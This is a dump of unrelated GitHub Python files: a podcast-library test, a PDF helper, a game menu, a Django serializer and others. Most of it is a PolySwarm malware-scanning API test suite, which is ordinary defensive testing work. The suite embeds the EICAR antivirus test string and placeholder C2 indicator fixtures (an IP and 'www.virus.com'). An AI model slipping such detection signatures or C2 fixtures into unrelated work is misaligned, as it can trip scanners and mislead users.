DEFAULT_QUERY\nfrom application.library.rating_handler import Rating\nfrom application.player.proc_input import DownloadInput\nfrom . import ROOT_PATH, DEFAULT_INDEX, DB_NAME\n\nclass TestPodcast(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n\n cls.conn = sqlite3.connect(DB_NAME, detect_types = sqlite3.PARSE_DECLTYPES)\n cls.default_query = DEFAULT_QUERY\n cls.podcasts = [\n {\n \"name\": \"The Lawfare Podcast\",\n \"website\": None,\n \"rss\": \"http://lawfare.libsyn.com/rss\",\n },\n {\n \"name\": \"We The People\",\n \"website\": \"https://constitutioncenter.org/debate/podcasts\",\n \"rss\": \"https://feeds.megaphone.fm/PP6268765043\",\n }\n ]\n cls.default_query[\"sort\"] = [ \"name\" ]\n\n @classmethod\n def tearDownClass(cls):\n\n cls.conn.close()\n os.remove(DB_NAME)\n\n def setUp(self):\n\n self.directory_service = DirectoryService(ROOT_PATH, DEFAULT_INDEX)\n cursor = self.conn.cursor()\n for item in TABLES + VIEWS:\n item.initialize(cursor)\n self.conn.commit()\n cursor.close()\n\n def test_001_create_podcast(self):\n\n cursor = self.conn.cursor()\n PodcastTable.create(cursor, self.podcasts[0])\n PodcastTable.create(cursor, self.podcasts[1])\n PodcastTable.get_all(cursor)\n podcasts = [ row for row in cursor ]\n for idx, podcast in enumerate(podcasts):\n self.podcasts[idx][\"id\"] = podcast.id\n self.assertEqual(len(podcasts), 2)\n self.assertEqual(podcasts[0].name, self.podcasts[0][\"name\"])\n self.assertEqual(podcasts[0].website, self.podcasts[0][\"website\"])\n cursor.close()\n\n def test_002_update_podcast(self):\n\n cursor = self.conn.cursor()\n self.podcasts[0][\"website\"] = \"https://www.lawfareblog.com/topic/lawfare-podcast\"\n PodcastTable.update(cursor, self.podcasts[0])\n rating = Rating(\"podcast\", self.podcasts[1][\"id\"], 5)\n PodcastTable.set_rating(cursor, rating)\n PodcastTable.get_all(cursor)\n podcasts = [ row for row in cursor ]\n self.assertEqual(podcasts[0].website, \"https://www.lawfareblog.com/topic/lawfare-podcast\")\n self.assertEqual(podcasts[1].rating, 5)\n cursor.close()\n\n def test_003_update_episodes(self):\n\n cursor = self.conn.cursor()\n rss = etree.parse(\"test/data/podcast.rss\")\n with Mocker() as mock:\n mock.get(self.podcasts[0][\"rss\"], content = etree.tostring(rss))\n PodcastSummaryView.update_episodes(cursor, self.podcasts[0][\"id\"])\n PodcastSummaryView.get_episodes(cursor, self.podcasts[0][\"id\"], True, True)\n episodes = cursor.fetchall()\n\n self.assertEqual(len(episodes), 100)\n self.assertEqual(episodes[0].podcast_id, self.podcasts[0][\"id\"])\n self.assertEqual(episodes[0].title, \"The Least Dangerous Branch \\u2026 of Facebook\")\n self.assertEqual(episodes[0].date_published, date(2021, 1, 29))\n\n for i in range(5):\n entry = DownloadInput(url = episodes[i].url, filename=None, info=episodes[i].serialize())\n PodcastEpisodeTable.update_history(cursor, entry)\n\n for i in range(10, 15):\n PodcastEpisodeTable.set_listened(cursor, episodes[i].id)\n cursor.close()\n\n def test_004_search_podcasts(self):\n\n cursor = self.conn.cursor()\n\n name_search = deepcopy(self.default_query)\n name_search[\"match\"].append({ \"name\": \"The Lawfare Podcast\" })\n PodcastSummaryView.search(cursor, name_search)\n name_result = cursor.fetchall()\n self.assertEqual(len(name_result), 1)\n self.assertEqual(name_result[0].name, \"The Lawfare Podcast\")\n\n rating_search = deepcopy(self.default_query)\n rating_search[\"match\"].append({ \"rating\": 3 })\n PodcastSummaryView.search(cursor, rating_search)\n rating_result = cursor.fetchall()\n self.assertEqual(len(rating_result), 1)\n self.assertEqual(rating_result[0].name, \"We The People\")\n\n cursor.close()\n\n def test_005_filter_episodes(self):\n\n cursor = self.conn.cursor()\n PodcastSummaryView.get_all(cursor, \"name\")\n podcasts = cursor.fetchall()\n self.assertEqual(podcasts[0].episodes, 100)\n self.assertEqual(podcasts[0].unlistened, 90)\n PodcastSummaryView.get_episodes(cursor, self.podcasts[0][\"id\"], False, False)\n episodes = cursor.fetchall()\n self.assertEqual(len(episodes), 5)\n self.assertNotEqual(episodes[0].title, \"The Least Dangerous Branch \\u2026 of Facebook\")\n cursor.close()\n\n def test_006_delete_podcast(self):\n\n cursor = self.conn.cursor()\n PodcastTable.delete(cursor, self.podcasts[1][\"id\"])\n PodcastTable.get_all(cursor)\n podcasts = [ row for row in cursor ]\n self.assertEqual(len(podcasts), 1)\n cursor.close()\n\n","repo_name":"essweine/music-library","sub_path":"test/test_podcast.py","file_name":"test_podcast.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16341328961","text":"from reportlab.pdfgen import canvas\nfrom reportlab.lib.pagesizes import A5\nfrom reportlab.lib.enums import TA_JUSTIFY\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Image\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.units import inch\nimport os\n\n\nclass PdfHandler:\n def __init__(self, page_name: str, user_id: str):\n self._directory = 'static/user_files/user_id_{}'.format(user_id)\n self._create_directory()\n self._file_path = os.path.join(self._directory, page_name + '.pdf')\n self.validate_path()\n self.full_path = '/user_files/user_id_{}/{}.pdf'.format(user_id, page_name)\n self.doc = SimpleDocTemplate(self._file_path, pagesize=A5,\n rightMargin=65, leftMargin=65,\n topMargin=50, bottomMargin=18)\n self.story = []\n self.styles = getSampleStyleSheet()\n self.styles.add(ParagraphStyle(name='Justify', alignment=TA_JUSTIFY))\n\n def validate_path(self) -> None:\n if os.path.exists(self._file_path):\n os.remove(self._file_path)\n\n def _create_directory(self) -> None:\n try:\n if not os.path.exists(self._directory):\n os.makedirs(self._directory)\n except Exception as e:\n print('error')\n\n def set_document_title(self, title: str):\n title = '{}'.format(title)\n self.story.append(Paragraph(title, self.styles['Title']))\n\n def write_document(self, text: str) -> any:\n text = '{}'.format(text)\n self.story.append(Paragraph(text, self.styles[\"Justify\"]))\n self.story.append(Spacer(1, 12))\n return self.save()\n\n def save(self) -> any:\n try:\n self.doc.build(self.story)\n return self.full_path\n except Exception as e:\n return None\n\n\nif __name__ == '__main__':\n page = 'page_1'\n user_id = str(123)\n test = 'I am a test from the emergency broadcast system. This is only a test, but if it wasnt a test, this would be a message regarding some sort of zombie apocalypse, because zomies are real, and apocalypses are even more real. Dont take this lightly or you will get clamedya and die.'\n title = 'Acknowledgement'\n pdf_writer = PdfHandler(page, user_id)\n pdf_writer.set_document_title(title)\n success = pdf_writer.write_document(test)\n if success:\n print('success')","repo_name":"RomeoMed/StepByStep","sub_path":"pdf/pdf_handler.py","file_name":"pdf_handler.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23759619884","text":"import pickle\nimport random \nimport sys\n\nseedVal = []\n\n\n\nfor x in range(10):\n seed = random.randrange(2**32-1)\n rng = random.Random(seed)\n print(seed)\n seedVal.append(seed)\n\nwith open('randSeed.pkl', 'wb') as f:\n pickle.dump(seedVal, f)\n\n\n\n\n","repo_name":"prasys/embedding-stuff","sub_path":"generateSeed.py","file_name":"generateSeed.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72651934886","text":"#!/usr/bin/env python\n\n# Import Standard Libary Packages\nimport pickle\nimport pathlib\n\nparent_path = pathlib.Path(__file__).absolute().parents[1]\n\nenglist_dict = {}\nwith open(parent_path / 'defs') as f:\n lines = f.read().split('\\n')\n for line in lines:\n word = line.split(' ')[0]\n englist_dict[word] = \" \".join(line.split(' ')[1:])\n\nwith open('dict.pickle', 'wb') as dict_pickle:\n pickle.dump(englist_dict, dict_pickle, protocol=pickle.HIGHEST_PROTOCOL)","repo_name":"DanDelluomo/dictionary","sub_path":"english_dictionary/scripts/write_pickle.py","file_name":"write_pickle.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"49077565","text":"from rest_framework import serializers\n\nfrom server.apps.blog.models import Post\n\n\nclass PostSerializer(serializers.ModelSerializer):\n class Meta(object):\n model = Post\n fields = [\n 'id',\n 'img',\n 'title',\n 'date',\n 'content_1',\n 'content_2',\n 'content_img',\n ]\n read_only_fields = fields\n","repo_name":"Praglu/dietitian-application-server","sub_path":"src/server/apps/blog/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"20792627980","text":"from sprites import *\nimport pygame\n\nclass Mixin:\n def menu_setup(self):\n if not self.Test :\n pygame.mixer.stop()\n pygame.mixer.music.load(SND_MENU)\n pygame.mixer.music.play(-1)\n\n\n #Setup up lists for buttons\n self.buttons = arcade.SpriteList()\n self.pointer_list = arcade.SpriteList()\n\n #Setup button for launching game\n self.start_button = Button(IMG_BUTTON, SPRITE_SCALING_BUTTON)\n self.start_button.center_x = SCREEN_WIDTH//2\n self.start_button.center_y = SCREEN_HEIGHT//2 + 50\n\n #Setup button for displaying\n self.inst_button = Button(IMG_BUTTON, SPRITE_SCALING_BUTTON)\n self.inst_button.center_x = SCREEN_WIDTH//2\n self.inst_button.center_y = SCREEN_HEIGHT//2 - 50\n\n self.about_button = Button(IMG_BUTTON, SPRITE_SCALING_BUTTON)\n self.about_button.center_x = SCREEN_WIDTH//2\n self.about_button.center_y = SCREEN_HEIGHT//2 - 150\n\n self.feedback_button = Button(IMG_BUTTON, SPRITE_SCALING_BUTTON)\n self.feedback_button.center_x = SCREEN_WIDTH//2\n self.feedback_button.center_y = SCREEN_HEIGHT//2 - 250\n\n self.buttons.append(self.start_button)\n self.buttons.append(self.inst_button)\n self.buttons.append(self.about_button)\n self.buttons.append(self.feedback_button)\n\n #Set up indicator for selected button\n self.pointer = Button(IMG_POINTER, SPRITE_SCALING_BUTTON)\n self.pointer.center_y = self.start_button.center_y\n self.pointer.center_x = self.start_button.center_x - 100\n\n self.pointer_list.append(self.pointer)\n\n #Start off with the start game button being selected\n self.selected = self.start_button\n self.selected_index = 0\n\n #Draw main menu\n def draw_menu(self):\n\n #Load background image\n page_texture = self.textures[0]\n arcade.draw_texture_rectangle(SCREEN_WIDTH // 2, SCREEN_HEIGHT // 2,\n page_texture.width,\n page_texture.height, page_texture, 0)\n\n #Draw buttons\n self.buttons.draw()\n self.pointer_list.draw()\n\n #Draw button text\n arcade.draw_text((\"Start Game\"),SCREEN_WIDTH//2-55 , ((SCREEN_HEIGHT//2+45)), arcade.color.WHITE, 15)\n arcade.draw_text((\"Instructions\"),SCREEN_WIDTH//2-55 , ((SCREEN_HEIGHT//2-55)), arcade.color.WHITE, 15)\n arcade.draw_text((\"About\"),SCREEN_WIDTH//2-25 , ((SCREEN_HEIGHT//2-155)), arcade.color.WHITE, 15)\n arcade.draw_text((\"Feedback\"),SCREEN_WIDTH//2-45 , ((SCREEN_HEIGHT//2-255)), arcade.color.WHITE, 15)\n arcade.draw_text((self.BUTTON1 + \": Enter\"),50,100,arcade.color.CG_BLUE , 15)\n arcade.draw_text((self.BUTTON2 + \": Next\"),50,75,arcade.color.RED, 15)\n #Draw about section\n def draw_about(self):\n page_texture = self.textures[3]\n arcade.draw_texture_rectangle(SCREEN_WIDTH //2, SCREEN_HEIGHT // 2,\n page_texture.width,\n page_texture.height, page_texture, 0)\n\n offset = 95 #Offset for text centering\n\n for line in ABOUT_TEXT:\n center = 23 - len(line)/2 # Figure out were to center line\n arcade.draw_text(line, SCREEN_WIDTH//2-240+center*8,(SCREEN_HEIGHT//2+offset),arcade.color.WHITE,15)\n offset -= 20 #Place next line 20 pixels down\n","repo_name":"Craft-Prospect/Super-FLI","sub_path":"Game/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"18153565734","text":"class Solution:\n def longestOnes(self, nums: List[int], k: int) -> int:\n l = 0\n count = 0\n flips = 0\n for r in range(len(nums)):\n if nums[r] == 0: flips += 1\n while flips > k:\n if nums[l] == 0: flips -= 1\n l += 1\n count = max(count, r-l+1)\n return count","repo_name":"Mr-MaNia7/Competitive-Programming","sub_path":"1004-max-consecutive-ones-iii/1004-max-consecutive-ones-iii.py","file_name":"1004-max-consecutive-ones-iii.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37843074621","text":"import os\nimport shutil\nimport tempfile\nimport responses\nimport pytest\nimport tarfile\nfrom contextlib import contextmanager\n\nimport vcr as vcr_\nfrom future.utils import string_types\n\nfrom polyswarm_api.api import PolyswarmAPI\nfrom polyswarm_api import core\nfrom polyswarm_api import exceptions\n\ntry:\n from unittest import TestCase, mock\nexcept ImportError:\n import mock\n\n\nvcr = vcr_.VCR(cassette_library_dir='test/vcr',\n path_transformer=vcr_.VCR.ensure_suffix('.vcr'))\n\n\n# TODO: the day we drop python 2.7 support we can use python 3 version of this\n@contextmanager\ndef TemporaryDirectory():\n name = tempfile.mkdtemp()\n try:\n yield name\n finally:\n shutil.rmtree(name)\n\n\n@contextmanager\ndef temp_dir(files_dict):\n with TemporaryDirectory() as tmp_dir:\n files = []\n for file_name, file_content in files_dict.items():\n mode = 'w' if isinstance(file_content, string_types) else 'wb'\n file_path = os.path.join(tmp_dir, file_name)\n open(file_path, mode=mode).write(file_content)\n files.append(file_path)\n yield tmp_dir, files\n\n\nclass JsonResourceTestCase(TestCase):\n def test_json_get(self):\n obj = core.BaseJsonResource({\n 'path1': {\n 'path2': [\n {\n 'path3': 'value1',\n 'path4': 'value2'\n },\n ],\n },\n })\n assert obj._get('path1.path2[0].path3') == 'value1'\n assert obj._get('path1.path2[0].path4') == 'value2'\n assert obj._get('path1.path2[1].path4') is None\n assert obj._get('path1.path3.path5') is None\n\n\nclass ScanTestCaseV2(TestCase):\n def __init__(self, *args, **kwargs):\n super(ScanTestCaseV2, self).__init__(*args, **kwargs)\n self.test_api_key = '11111111111111111111111111111111'\n self.api_version = 'v3'\n\n @vcr.use_cassette()\n def test_submission(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n result = api.submit('test/malicious')\n assert result.failed is False\n assert result.result is None\n\n @vcr.use_cassette()\n def test_rescans(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n result = api.rescan('275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f')\n assert result.failed is False\n assert result.result is None\n result = api.rescan_id(result.id)\n assert result.failed is False\n assert result.result is None\n\n @vcr.use_cassette()\n def test_download(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n with temp_dir({}) as (path, _):\n api.download(path, '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f')\n with open(os.path.join(path, '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'), 'rb') as result:\n content = result.read()\n assert content == b'X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'\n\n @vcr.use_cassette()\n def test_download_to_handle(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n with temp_dir({}) as (path, _):\n with open(os.path.join(path, 'temp_file_handle'), 'wb') as f:\n api.download_to_handle('275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f', f)\n with open(os.path.join(path, 'temp_file_handle'), 'rb') as f:\n assert f.read() == b'X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'\n\n @vcr.use_cassette()\n def test_stream(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n with temp_dir({}) as (path, _):\n result = list(api.stream())\n artifact_archive = result[0]\n archive = api.download_archive(path, artifact_archive.uri)\n with tarfile.open(os.path.join(path, archive.artifact_name), 'r:gz') as tar:\n for member in tar.getmembers():\n result = tar.extractfile(member)\n assert result.read() == b'X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'\n\n @vcr.use_cassette()\n def test_hash_search(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n result = list(api.search('275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'))\n assert result[0].sha256 == '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'\n\n @vcr.use_cassette()\n def test_metadata_search(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n result = list(api.search_by_metadata('artifact.sha256:275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'))\n assert result[0].sha256 == '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'\n\n @responses.activate\n def test_resolve_engine_name(self):\n responses.add(responses.GET, 'http://localhost:3000/api/v1/microengines/list', json={'results': [\n {\n \"address\": \"0x2A1EEEe60A652961a4B6981b6103CDcb63efBD6b\",\n \"engineId\": \"8565030964589685\",\n \"vendorWebsite\": \"http://www.polyswarm.io\",\n \"accountNumber\": 181953637296,\n \"engineType\": \"arbiter\",\n \"artifactTypes\": [ \"file\" ],\n \"maxFileSize\": \"34603020\",\n \"createdAt\": \"2019-04-24T22:36:51.000Z\",\n \"modifiedAt\": \"2021-04-26T17:34:13.523Z\",\n \"archivedAt\": None,\n \"status\": \"disabled\",\n \"communities\": [ \"pi\" ],\n \"mimetypes\": [ \"application/octet-stream\" ],\n \"tags\": [ \"arbiter\" ],\n \"description\": \"K7 Arbiter Microengine\",\n \"name\": \"K7-Arbiter\",\n \"id\": \"8565030964589685\"\n },\n {\n \"address\": None,\n \"engineId\": \"8565030964589685\",\n \"accountNumber\": 191777777796,\n \"engineType\": \"engine\",\n \"artifactTypes\": [ \"file\" ],\n \"createdAt\": \"2019-04-24T22:36:51.000Z\",\n \"modifiedAt\": \"2021-04-26T17:34:13.523Z\",\n \"archivedAt\": None,\n \"status\": \"verified\",\n \"communities\": [ \"pi\" ],\n \"tags\": [ \"engine\" ],\n \"description\": \"\",\n \"name\": \"Test\",\n \"id\": \"9128037974787675\"\n },{\n \"address\": \"84858992620316109\",\n \"engineId\": \"84858992620316109\",\n \"vendorWebsite\": \"http://www.polyswarm.io\",\n \"accountNumber\": 181953637296,\n \"engineType\": \"engine\",\n \"artifactTypes\": [ \"file\" ],\n \"maxFileSize\": \"34603016\",\n \"createdAt\": \"2019-04-24T22:44:40.000Z\",\n \"modifiedAt\": \"2021-04-26T17:34:13.744Z\",\n \"archivedAt\": None,\n \"status\": \"disabled\",\n \"communities\": [ \"pi\", \"sigma\" ],\n \"mimetypes\": [ \"application/pdf\", \"application/vnd.ms-access\" ],\n \"tags\": [\"engine\"],\n \"description\": \"IRIS-H microengine\",\n \"name\": \"IRIS-H\",\n \"id\": \"84858992620316109\"\n },\n {\n \"address\": \"0x73653AAAfa73EC3CEBb9c0500d81f94B1153ecDF\",\n \"engineId\": \"49931709284165436\",\n \"vendorWebsite\": \"http://www.polyswarm.io\",\n \"accountNumber\": 181953637296,\n \"engineType\": \"engine\",\n \"artifactTypes\": [ \"file\" ],\n \"maxFileSize\": \"34603015\",\n \"createdAt\": \"2019-08-29T19:51:38.000Z\",\n \"modifiedAt\": \"2021-04-26T17:34:13.520Z\",\n \"archivedAt\": None,\n \"status\": \"disabled\",\n \"communities\": [ \"pi\", \"sigma\" ],\n \"mimetypes\": [ \"application/octet-stream\" ],\n \"tags\": [ \"engine\", \"file\" ],\n \"description\": \"\",\n \"name\": \"Intezer\",\n \"id\": \"49931709284165436\"\n }\n ]})\n # This still does not have a v2 path\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:3000/api/v1', community='gamma')\n assert {'Intezer', 'IRIS-H', 'Test', 'K7-Arbiter'} == {e.name for e in api.engines}\n assert {'K7-Arbiter'} == {e.name for e in api.engines if e.is_arbiter}\n\n # Verify handling of invalid responses\n responses.replace(responses.GET, 'http://localhost:3000/api/v1/microengines/list', status=500)\n with pytest.raises(exceptions.RequestException):\n api.refresh_engine_cache()\n\n responses.replace(responses.GET, 'http://localhost:3000/api/v1/microengines/list', json={\"results\": []})\n with pytest.raises(exceptions.InvalidValueException):\n api.refresh_engine_cache()\n\n # Run tests after failed `refresh_engine_cache` to verify that we haven't cleared `api.engines`\n assert {\n 'Intezer': '0x73653aaafa73ec3cebb9c0500d81f94b1153ecdf',\n 'IRIS-H': '84858992620316109',\n 'K7-Arbiter': '0x2a1eeee60a652961a4b6981b6103cdcb63efbd6b',\n 'Test': None,\n } == {e.name: e.address for e in api.engines}\n assert len(set(api.engines)) == 4\n\n @vcr.use_cassette()\n def test_live(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n with open('test/eicar.yara') as yara:\n rule = api.ruleset_create('eicar', yara.read())\n rule = api.live_start(rule_id=rule.id)\n assert rule.livescan_id\n api.submit('test/malicious')\n # add a break point at the line below and\n # wait for the bounty to finish when generating the vcr\n feed = list(api.live_feed())\n assert len(feed) > 1\n result = feed[0]\n result = api.live_result(result.id)\n assert result.download_url\n api.live_feed_delete([result.id])\n with pytest.raises(exceptions.NotFoundException):\n api.live_result(result.id)\n rule = api.live_stop(rule_id=rule.id)\n assert rule.livescan_id is None\n\n @vcr.use_cassette()\n def test_historical(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n with open('test/eicar.yara') as yara:\n historical_hunt = api.historical_create(yara.read())\n assert historical_hunt.status == 'PENDING'\n get_historical_hunt = api.historical_get(historical_hunt.id)\n assert historical_hunt.id == get_historical_hunt.id\n deleted_historical_hunt = api.historical_delete(get_historical_hunt.id)\n assert historical_hunt.id == deleted_historical_hunt.id\n\n @vcr.use_cassette()\n def test_list_historical(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n with open('test/eicar.yara') as yara:\n yara_content = yara.read()\n historical_ids = []\n for _ in range(5):\n historical = api.historical_create(yara_content)\n historical_ids.append(historical.id)\n result = list(api.historical_list())\n assert len(result) >= 4\n api.historical_delete_list(historical_ids)\n\n @vcr.use_cassette()\n def test_historical_results(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n result = list(api.historical_results(hunt='48011760326110718'))\n assert len(result) == 6\n\n @vcr.use_cassette()\n def test_rules(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n # creating\n with open('test/eicar.yara') as rule:\n contents = rule.read()\n rule = api.ruleset_create('test', contents)\n assert rule.name == 'test'\n assert rule.yara == contents\n # listing\n rules = list(api.ruleset_list())\n assert len(rules) == 1\n # getting\n rule = api.ruleset_get(rule.id)\n assert rule.name == 'test'\n # updating\n rule = api.ruleset_update(rule.id, name='test2', description='test')\n assert rule.name == 'test2'\n assert rule.description == 'test'\n # deleting\n api.ruleset_delete(rule.id)\n with pytest.raises(exceptions.NoResultsException):\n list(api.ruleset_list())\n\n @vcr.use_cassette()\n def test_tool_metadata(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n api.tool_metadata_create(41782351738405672, 'test_tool_1', {'key': 'value'})\n api.tool_metadata_create(41782351738405672, 'test_tool_2', {'key2': 'value2'})\n metadata = list(api.tool_metadata_list(41782351738405672))\n assert metadata[0].json['tool'] == 'test_tool_2'\n assert metadata[0].json['tool_metadata'] == {'key2': 'value2'}\n assert metadata[1].json['tool'] == 'test_tool_1'\n assert metadata[1].json['tool_metadata'] == {'key': 'value'}\n\n @vcr.use_cassette()\n def test_iocs_by_hash(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n api.tool_metadata_create(\n '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f', 'cape_sandbox_v2', {'cape_sandbox_v2': {\n 'extracted_c2_ips': ['1.2.3.4'],\n 'extracted_c2_urls': ['www.virus.com'],\n 'ttp': ['T1081', 'T1060', 'T1069']\n }})\n\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n iocs = list(v3api.iocs_by_hash('sha256', '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'))\n assert iocs[0].json['ips'] == ['1.2.3.4']\n assert iocs[0].json['ttps'] == ['T1081', 'T1060', 'T1069']\n\n @vcr.use_cassette()\n def test_search_by_ioc(self):\n api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/{}'.format(self.api_version), community='gamma')\n api.tool_metadata_create(\n '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f', 'cape_sandbox_v2', {'cape_sandbox_v2': {\n 'extracted_c2_ips': ['1.2.3.4'],\n 'extracted_c2_urls': ['www.virus.com'],\n 'ttp': ['T1081', 'T1060', 'T1069']\n }})\n\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n iocs = list(v3api.search_by_ioc(ip=\"1.2.3.4\"))\n assert iocs[0].json == '275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'\n\n @vcr.use_cassette()\n def test_add_known_good_host(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n known = v3api.add_known_good_host(\"domain\", \"test\", \"polyswarm.network\")\n assert known.json['type'] == \"domain\"\n assert known.json['host'] == \"polyswarm.network\"\n\n @vcr.use_cassette()\n def test_update_known_good_host(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n known = v3api.update_known_good_host(1, \"ip\", \"test\", \"1.2.3.4\", True)\n assert known.json['type'] == \"ip\"\n assert known.json['host'] == \"1.2.3.4\"\n\n @vcr.use_cassette()\n def test_delete_known_good_host(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n known = v3api.delete_known_good_host(1)\n assert known.json['type'] == \"domain\"\n assert known.json['host'] == \"polyswarm.network\"\n\n @vcr.use_cassette()\n def test_check_known_host(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n known = v3api.check_known_hosts(ips=[\"1.2.3.4\"])\n assert known[0].json['host'] == \"1.2.3.4\"\n assert known[0].json['type'] == \"ip\"\n\n @vcr.use_cassette()\n def test_sandbox_providers(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n response = v3api.sandbox_providers()\n assert response.json['result']['cape']['slug'] == 'cape'\n assert response.json['result']['triage']['slug'] == 'triage'\n\n @vcr.use_cassette()\n def test_sandboxtask_submit(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n task = v3api.sandbox('24135952517649903', 'cape', 'win-10-build-19041', True)\n assert task.json['config']['network_enabled'] is True\n task = v3api.sandbox('24135952517649903', 'triage', 'win10-build-15063', False)\n assert task.sandbox == 'triage'\n assert task.json['config']['network_enabled'] is False\n\n @vcr.use_cassette()\n def ytest_sandboxtask_get(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n task_id = 37385694435473303\n status = v3api.sandbox_task_status(task_id)\n assert status.id == task_id\n assert status.sandbox == 'triage'\n assert status.sha256 == 'a709f37b3a50608f2e9830f92ea25da04bfa4f34d2efecfd061de9f29af02427'\n assert status.created == 'gamma'\n\n @vcr.use_cassette()\n def test_sandboxtask_latest(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n\n sha256 = 'a709f37b3a50608f2e9830f92ea25da04bfa4f34d2efecfd061de9f29af02427'\n latest_cape = v3api.sandbox_task_latest(sha256, 'cape')\n latest_triage = v3api.sandbox_task_latest(sha256, 'triage')\n\n assert latest_cape.sha256 == sha256\n assert latest_cape.sandbox == 'cape'\n assert latest_triage.sha256 == sha256\n assert latest_triage.sandbox == 'triage'\n\n @vcr.use_cassette()\n def test_sandboxtask_list(self):\n v3api = PolyswarmAPI(self.test_api_key, uri='http://localhost:9696/v3', community='gamma')\n\n cape_tasks = list(v3api.sandbox_task_list('a709f37b3a50608f2e9830f92ea25da04bfa4f34d2efecfd061de9f29af02427',\n sandbox='cape'))\n triage_tasks = list(v3api.sandbox_task_list('a709f37b3a50608f2e9830f92ea25da04bfa4f34d2efecfd061de9f29af02427',\n sandbox='triage'))\n\n assert len(cape_tasks) == 1\n assert cape_tasks[0].sandbox == 'cape'\n assert len(triage_tasks) == 1\n assert triage_tasks[0].sandbox == 'triage'\n\n tasks = list(v3api.sandbox_task_list('a709f37b3a50608f2e9830f92ea25da04bfa4f34d2efecfd061de9f29af02427'))\n\n assert len(tasks) == 2\n assert set(t.sandbox for t in tasks) == {'cape', 